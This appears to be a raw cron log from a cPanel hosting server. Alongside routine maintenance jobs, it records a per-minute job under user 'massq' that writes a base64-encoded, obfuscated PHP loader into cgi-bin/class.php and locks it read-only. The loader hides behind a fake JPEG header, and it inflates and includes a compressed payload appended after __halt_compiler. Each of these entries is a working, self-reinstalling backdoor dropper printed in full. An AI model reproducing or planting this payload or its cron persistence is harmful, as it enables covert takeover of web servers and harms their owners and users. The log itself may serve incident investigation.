Sep 12 19:54:01 server CROND[18222]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:55:01 server CROND[18622]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 19:55:01 server CROND[18623]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 19:55:01 server CROND[18624]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:55:01 server CROND[18626]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 19:55:01 server CROND[18628]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:55:01 server CROND[18631]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 19:55:01 server CROND[18629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:56:01 server CROND[19474]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:56:01 server CROND[19475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:56:01 server CROND[19476]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:57:01 server CROND[19872]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 19:57:01 server CROND[19873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:57:01 server CROND[19874]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:57:01 server CROND[19875]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:58:01 server CROND[20332]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:58:01 server CROND[20331]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:58:01 server CROND[20333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:59:01 server CROND[20815]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:59:01 server CROND[20816]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:59:01 server CROND[20817]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:00:01 server CROND[21219]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 20:00:01 server CROND[21221]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 20:00:01 server CROND[21224]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 20:00:01 server CROND[21226]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 20:00:01 server CROND[21229]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:00:01 server CROND[21232]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:00:01 server CROND[21228]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 12 20:00:01 server CROND[21231]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 20:00:01 server CROND[21225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:00:01 server CROND[21227]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 12 20:01:01 server CROND[22098]: (root) CMD (run-parts /etc/cron.hourly)
Sep 12 20:01:01 server CROND[22101]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:01:01 server CROND[22102]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:01:01 server run-parts(/etc/cron.hourly)[22098]: starting 0anacron
Sep 12 20:01:01 server CROND[22104]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:01:01 server run-parts(/etc/cron.hourly)[22119]: finished 0anacron
Sep 12 20:02:01 server CROND[22498]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:02:01 server CROND[22499]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:02:01 server CROND[22501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:03:01 server CROND[23087]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:03:01 server CROND[23088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:03:01 server CROND[23089]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:04:01 server CROND[23558]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:04:01 server CROND[23559]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:04:01 server CROND[23561]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:05:01 server CROND[23935]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 20:05:01 server CROND[23934]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 12 20:05:01 server CROND[23944]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:05:01 server CROND[23948]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 20:05:01 server CROND[23946]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
